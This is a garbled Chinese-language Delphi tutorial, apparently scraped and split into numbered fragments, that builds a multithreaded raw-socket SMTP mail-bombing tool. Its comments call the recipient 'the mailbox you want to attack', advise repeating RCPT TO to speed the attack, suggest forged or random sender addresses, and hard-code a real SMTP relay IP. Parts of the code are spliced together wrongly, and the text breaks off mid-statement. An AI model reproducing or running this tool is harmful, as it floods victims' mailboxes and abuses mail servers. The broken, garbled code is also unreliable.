不用控件,用函數(shù)實現(xiàn)發(fā)emai

1、useswindows,messages,winsock,sysutils;{$R *.RES}constCRLF=#13#10;exename:pchar='郵箱信使';varthd:array[1..1000] of integer;tid:array[1..1000] of dword;faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer;s

2、1:string;sbuf:array[0..1024] of char;dest:string;attstart:boolean;//----------------------wClass: TWndClass; //窗口類變量Msg: TMSG; //消息變量hInst, //程序?qū)嵗鼿andle, //主窗口句柄hFont, //字體句柄//--------------

3、--hButtonStart, //開始按鈕hButtonStop, //停止按鈕hButtonHelp, //幫助按鈕hButtonExit, //退出按鈕hEditEmail, //e-mail 編輯hEditCount, //次數(shù)編輯hEditThread, //線程數(shù)編輯hLabelEmail, //e-mail 提示hLabelCount, //次數(shù)提示hLabelThread, //線程數(shù)提示hLab

4、elInfo //領息提示:integer; //句柄類型//--------------------//往一個窗口寫標題procedureWriteCaption(hwnd:hwnd;text:pchar);beginsendmessage(hwnd,WM_SETTEXT,0,integer(text));end;//從一個窗口讀標題procedureReadCaption(hwnd:hwnd;text:pchar);be

5、ginsendmessage(hwnd,WM_GETTEXT,400,integer(text));end;//以下是網(wǎng)絡連接的過程function StartNet(host:string;port:integer):integer;strcopy(DataBuf,pchar(SendStr));err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);Result:=0;end

6、;//下面是個發(fā)信的過程procedure SendMail;var SendBody:string;FSocket:integer;beginrepeat//指定 smtp 主機地址,這里用的是 smtp.21cn.com,它的 ip 為(202.104.32.230)//指定 smtp 主機的發(fā)信端口，默認為 25FSocket:=StartNet('202.104.32.230',25);//-------下面是發(fā)

7、信過程的各步處理-------//---------------------------------------//第一步：發(fā) HELO 指令，表示我要開始發(fā)信了SendData(FSocket,'HELO'+CRLF);//第二步：發(fā) MAIL FROM 指令，表示發(fā)信人的信箱// 注意現(xiàn)在很多 SMTP 主機有只能允許本地合法用戶發(fā)信// 所以發(fā)信者的信箱在發(fā)信主機中應是一個合法用戶// 否則無法發(fā)信,比如 h

8、ack001 便是 smtp.21cn.com 中的一個合法用戶SendData(FSocket,'MAIL FROM: '+CRLF);//第三步:發(fā) RCPT TO 指令，表示目標用戶的郵箱，就是你要攻擊者的郵箱// 這一步可以用多個 RCPT TO 命令指向同一個目標,可以極大的加快攻擊速度// 但對 163.net 好象不行，他加了過濾機制SendData(FSocket,'RCPT TO: '

9、;+CRLF);//第四步:發(fā) DATA 指令，表示要向 SMTP 主機發(fā)數(shù)據(jù)SendData(FSocket,'DATA'+CRLF);//第五步:發(fā)具體數(shù)據(jù),包括如下內(nèi)容(信封和信體):// From:表示發(fā)信者的地址,可以是假的用戶(可以隨機產(chǎn)生),后面以 CRLF(即回車換行符)結(jié)束// TO:表示收信者的地址,可以是假的用戶(可以隨機產(chǎn)生),后面以 CRLF 結(jié)束// Subject:表示郵件主題,

10、后面以 CRLF 結(jié)束// 后面一定要再加一個 CRLF，表示信封部分結(jié)束了// 接下來是信的主體內(nèi)容，可以是任何內(nèi)容,后面以 CRLF 結(jié)束// 然后一定要再加一個.符號，表示信體結(jié)束,后面以 CRLF 結(jié)束SendBody:='From:“bome 2001“'+CRLF+'To:“bome 2001“'+CRLF+'Subject:New Bome 2001.'+CRLF